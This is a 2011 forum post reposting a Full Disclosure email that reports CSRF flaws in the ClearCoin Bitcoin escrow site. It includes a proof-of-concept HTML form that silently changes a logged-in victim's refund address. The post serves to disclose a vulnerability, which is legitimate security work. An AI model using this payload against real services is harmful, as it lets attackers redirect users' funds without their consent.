>> (p.1)
    Author Topic: [Full Disclosure] ClearCoin CSRFs  (Read 8776 times)
    jrmithdobbs (OP)
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    June 19, 2011, 10:26:45 PM
    Last edit: June 21, 2011, 03:47:00 AM by jrmithdobbs
     #1

    Code:
    From: Doug Huff <dhuff@jrbobdobbs.org>
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    X-Smtp-Server: smtp.gmail.com:mith@jrbobdobbs.org
    Subject: Bitcoin fun day!
    Date: Sun, 19 Jun 2011 16:54:28 -0500
    X-Universally-Unique-Identifier: 52968483-4027-4d0b-9145-dc72230ee50c
    Message-Id: <2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org>
    Cc: Bitcoin Dev <bitcoin-development@lists.sourceforge.net>
    To: full-disclosure@lists.grok.org.uk
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    In light of recent events in the "bitcoin community" I have decided that =
    private disclosure of issues is doing nothing but making them more =
    prevalent.

    In light of this decision I would like to report multiple CSRF =
    vulnerabilities in http://clearcoin.appspot.com .

    This set of CSRFs are particularly nasty since this is hosted on appspot =
    and uses google account auth. So long as you stay logged into your =
    google account you are vulnerable to this CSRF.

    Things tested:
      Changing refund address.
      Releasing funds.

    POC code (open this in any browser even from a local file):
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
    <html><head><title>test</title></head>
      <body>
      <form id=3D"refund_address_form" =
    action=3D"https://clearcoin.appspot.com/set_refund_address" =
    method=3D"POST">=20
          <label for=3D"refund_address">Your bitcoin address:</label>=20
          <input type=3D"text" name=3D"refund_address" id=3D"refund_address" =
    size=3D"60" value=3D"PUT ANY ADDRESS HERE"
                 class=3D"text ui-widget-content ui-corner-all" autofocus =
    required placeholder=3D"refund bitcoin address"/> (required)
      </form>=20
      </body>
    </html>
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    Javascript auto submittal, hiding in an iframe, and other obfuscation =
    methods are left as an exercise to the list.

    This site is run and maintained by Gavin Anderson, aka, the lead bitcoin =
    maintainer.

    You should know better Gavin.

    --=20
    Douglas Huff



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    http://sourceforge.net/mailarchive/forum.php?thread_name=2B2201C1-E59F-47D4-BF67-08FDB0DDE386%40jrbobdobbs.org&forum_name=bitcoin-development

    Sorry Gavin.

    (Gavin has already pulled clearcoin offline to address the issue.)

    Edit: Adding f-d link for posterity.
    http://lists.grok.org.uk/pipermail/full-disclosure/2011-June/081574.html
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